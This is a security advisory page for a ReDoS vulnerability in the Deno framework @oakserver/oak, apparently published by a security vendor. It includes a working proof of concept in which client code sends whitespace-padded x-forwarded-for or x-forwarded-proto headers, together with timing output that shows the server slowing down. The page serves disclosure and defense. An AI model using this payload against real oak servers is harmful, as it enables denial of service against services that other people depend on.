GHSA-r3v7-pc4g-7xp9 is a medium-severity (CVSS 5.3) Uncontrolled Resource Consumption vulnerability in @oakserver/oak. No vendor fix is recorded yet; mitigation options are listed below.
Oak Server has ReDoS in x-forwarded-proto and x-forwarded-for headers
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for GHSA-r3v7-pc4g-7xp9.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-r3v7-pc4g-7xp9 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,636 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
@oakserver/oaknpmDescription
Summary
With specially crafted value of the x-forwarded-proto or x-forwarded-for headers, it's possible to significantly slow down an oak server.
Vulnerable Code
- https://github.com/oakserver/oak/blob/v17.1.5/request.ts#L87
- https://github.com/oakserver/oak/blob/v17.1.5/request.ts#L142
PoC
- setup
deno --version
deno 2.4.3
v8 13.7.152.14-rusty
typescript 5.8.3
server.ts
import { Application } from "https://deno.land/x/oak/mod.ts";
const app = new Application({proxy: true});
let i = 1
app.use((ctx) => {
// let url = ctx.request.url // test1) x-forwarded-proto
let ips = ctx.request.ips // test2) x-forwarded-for
console.log(`request ${i} received`)
i++;
ctx.response.body = "hello";
});
await app.listen({ port: 8080 });
client.ts
const lengths = [2000, 4000, 8000, 16000, 32000, 64000, 128000]
const data1 = lengths.map(l => 'A' + 'A'.repeat(l) + 'A');
const data2 = lengths.map(l => 'A' + ' '.repeat(l) + 'A');
async function run(data) {
for (let i = 0; i < data.length; i++) {
let d = data[i];
const start = performance.now();
await fetch("http://localhost:8080", {
headers: {
// "x-forwarded-proto": d, // test1)
"x-forwarded-for": d, // test2)
},
});
const end = performance.now();
console.log('length=%d, time=%d ms', d.length, end - start);
}
}
console.log("\n[+] Test normal behavior")
await run(data1)
console.log("\n[+] Test payloads")
await run(data2)
- run
deno run --allow-net server.ts
deno run --allow-net client.ts
[+] Test normal behavior
length=2002, time=14 ms
length=4002, time=6 ms
length=8002, time=3 ms
length=16002, time=3 ms
length=32002, time=2 ms
length=64002, time=4 ms
length=128002, time=3 ms
[+] Test payloads
length=2002, time=7 ms
length=4002, time=22 ms
length=8002, time=77 ms
length=16002, time=241 ms
length=32002, time=947 ms
length=64002, time=4020 ms
length=128002, time=15840 ms
Impact
A specially crafted value of the x-forwarded-proto or x-forwarded-for headers can be used to significantly slow down an oak server.
Similar Issues
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @oakserver/oak | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @oakserver/oak, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Remediation status
No patched version of @oakserver/oak has shipped for GHSA-r3v7-pc4g-7xp9 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-r3v7-pc4g-7xp9 can be triaged on real exposure rather than presence alone.
Tailored to GHSA-r3v7-pc4g-7xp9. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-r3v7-pc4g-7xp9 in your dependencies?
O3 Security finds GHSA-r3v7-pc4g-7xp9 across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.